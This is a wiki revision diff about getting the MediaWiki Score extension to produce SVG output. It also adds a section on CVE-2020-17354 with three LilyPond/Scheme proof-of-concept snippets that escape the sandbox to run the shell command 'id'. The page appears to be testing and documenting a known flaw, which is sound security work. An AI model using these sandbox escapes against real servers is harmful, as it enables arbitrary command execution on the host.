Score testing: Difference between revisions
From Jon's Wiki
More actions
mNo edit summary |
No edit summary |
||
| Line 1: | Line 1: | ||
[[File:Score_PNG_output_in_dark_theme.png|thumb|Unreadable Score extension output in dark mode]] | [[File:Score_PNG_output_in_dark_theme.png|thumb|Unreadable Score extension output in dark mode]] | ||
Hopefully I can get the Score extension working to [https://phabricator.wikimedia.org/T49578 produce SVG output], instead of the transparent PNG image that needs a white background styling for dark mode otherwise it's unreadable. | Hopefully I can get the Score extension working to [https://phabricator.wikimedia.org/T49578 produce SVG output], instead of the transparent PNG image that needs a white background styling for dark mode otherwise it's unreadable. | ||
;Update Januuary 2023: my patch was merged! :) now we wait for it to be tested and deployed. There are a few other issues, including some security and sandboxing concerns, e.g. CVE-2020-17354. | |||
== Examples == | == Examples == | ||
| Line 45: | Line 46: | ||
\bar "|." | \bar "|." | ||
} | } | ||
</score> | |||
== CV-2020-17354 == | |||
See [https://phabricator.wikimedia.org/T259210 T259210] | |||
1. With defined location: <score> | |||
{ | |||
\relative { c' } | |||
} | |||
#(begin | |||
(define location 1) | |||
(display "With output-def-scope\n") | |||
(eval '(system "id") (ly:output-def-scope #{ \midi {} #})) | |||
(display "With output-def-lookup\n") | |||
((ly:output-def-lookup #{ \midi {} #} 'system) "id") | |||
) | |||
</score> | |||
2. and without: <score> | |||
{ | |||
\relative { c' } | |||
} | |||
#(begin | |||
(display "With output-def-scope\n") | |||
(eval '(system "id") (ly:output-def-scope #{ \midi {} #})) | |||
(display "With output-def-lookup\n") | |||
((ly:output-def-lookup #{ \midi {} #} 'system) "id") | |||
) | |||
</score> | |||
3. Variant in comment from Han-wen Nienhuys: <score> | |||
{ | |||
\override NoteHead.text = \system | |||
\override NoteHead.stencil = | |||
#(lambda (grob) | |||
((cdr (assoc 'text | |||
(cadr (ly:grob-alist-chain grob '())))) "id") | |||
#f) | |||
c4 | |||
} | |||
</score> | </score> | ||
Revision as of 20:46, 19 January 2023
Hopefully I can get the Score extension working to produce SVG output, instead of the transparent PNG image that needs a white background styling for dark mode otherwise it's unreadable.
- Update Januuary 2023
- my patch was merged! :) now we wait for it to be tested and deployed. There are a few other issues, including some security and sandboxing concerns, e.g. CVE-2020-17354.
Examples
Range of the contrabass trombone, as used on Wikipedia:
The Spear motif from Das Rheingold:
The Summit from Eine Alpensinfonie, which may or may not be a contrabass trombone excerpt, but probably ought to be: